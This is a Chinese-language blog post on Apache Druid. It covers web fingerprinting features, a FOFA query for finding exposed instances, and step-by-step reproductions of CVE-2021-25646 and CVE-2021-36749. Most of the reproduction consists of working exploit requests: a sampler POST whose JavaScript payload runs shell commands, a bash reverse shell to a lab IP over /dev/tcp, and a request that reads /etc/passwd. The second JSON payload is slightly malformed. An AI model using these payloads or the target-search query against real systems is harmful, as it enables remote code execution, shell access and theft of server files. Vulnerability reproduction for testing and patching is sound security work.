Apache Druid数据分析平台特征及漏洞复现

Apache Druid是一个开源的分布式数据存储

Web相关特征

Duid默认管理页面端口8888,无需账户验证可以直接访问:

image-20251118155330089

其存在标签页默认icon图标:image-20251118155738333

漏洞复现

CVE-2021-25646(JS导致的RCE)

druid的功能中包括执行嵌入在各种类型请求中的用户提供的JavaScript代码的能力,但这个功能是在可信环境下使用,并且默认是禁用的。然而,在Druid 0.20.0及以前的版本中,攻击者以通过发送一个恶意请求使Druid用内置引擎执行任意JavaScript代码,而不管服务器配置如何,这将导致代码和命令执行漏洞。

影响版本:Apache Druid < 0.20.1

复现示例

访问 目标的8888端口(druid默认监听8888端口)确保服务正常访问。

在进行数据包构造时,不能直接将下面的粘贴过去修改ip,最好是在真实目标的数据包中找一个post数据包然后将请求体进行替换。

直接构造下面的数据包即可执行相应的命令(下面写的命令是id):

POST http://192.168.120.133:8888/druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.120.133:8888
Content-Length: 912
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.120.133:8888
Referer: http://192.168.120.133:8888/unified-console.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7
Connection: keep-alive

{
    "type":"index",
    "spec":{
        "ioConfig":{
            "type":"index",
            "firehose":{
                "type":"local",
                "baseDir":"/etc",
                "filter":"passwd"
            }
        },
        "dataSchema":{
            "dataSource":"test",
            "parser":{
                "parseSpec":{
                "format":"javascript",
                "timestampSpec":{

                },
                "dimensionsSpec":{

                },
                "function":"function(){var a = new java.util.Scanner(java.lang.Runtime.getRuntime().exec([\"sh\",\"-c\",\"id\"]).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:123123,test: a}}",
                "":{
                    "enabled":"true"
                }
                }
            }
        }
    },
    "samplerConfig":{
        "numRows":10
    }
}
image-20251118164920370

可以看到成功执行命令。

也可以将命令进行替换进行反弹shell:

"function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.120.142/5566 0>&1')}",
image-20251118165044819

注:执行命令时,bp那边的返回包是显示400和一些错误信息,但实际是成功的。

image-20251118165152907

CVE-2021-36749(目录遍历&任意文件读取)

Apache Druid对用户指定的HTTP InputSource没有做限制,并且Apache Druid默认管理页面是不需要认证即可访问的,可以通过将文件URL传递给HTTP InputSource来绕过。因此未经授权的远程攻击者可以通过构造恶意参数读取服务器上的任意文件,造成服务器敏感性信息泄露。

fofa语句:title="Apache Druid"

影响版本:Apache Druid <= 0.21.1

复现示例

访问目标的8888端口,即默认管理页面,这里有两种情况:

情况一:Load data可以点击

按顺序点击进入相关页面:

image-20251118171124121

在URIs中填入需要读取的文件路径,使用file:///协议进行操作:

image-20251118171419795

只需要变更URIs的值即可读取任意文件。

情况二:Load data无法点击

此时可以直接向接口/druid/indexer/v1/sampler以POST请求的方式构造数据包发送以下数据(这里是读取的/etc/passwd,修改相应目录和文件即可):

{
  "type": "index",
  "spec": {
    "ioConfig": {
      "type": "index",
      "inputSource": {
        "type": "local",
        "baseDir": "/etc/",
        "filter": "passwd"
      },
      "inputFormat": {
        "type": "json",
        "keepNullColumns": true
      }
    },
    "dataSchema": {
      "dataSource": "sample",
      "timestampSpec": {
        "column": "timestamp",
        "format": "iso",
        "missingValue": "1970"
      },
      "dimensionsSpec": {}
    }
  },
  "type": "index",
  "tuningConfig": {
    "type": "index"
  }
},
  "samplerConfig": {
    "numRows": 500,
    "timeoutMs": 15000
  }
}

读取的结果在字符串内容中插入的:

image-20251118172042457
posted @ 2025-12-02 12:58  shinianyunyan  阅读(95)  评论(0)    收藏  举报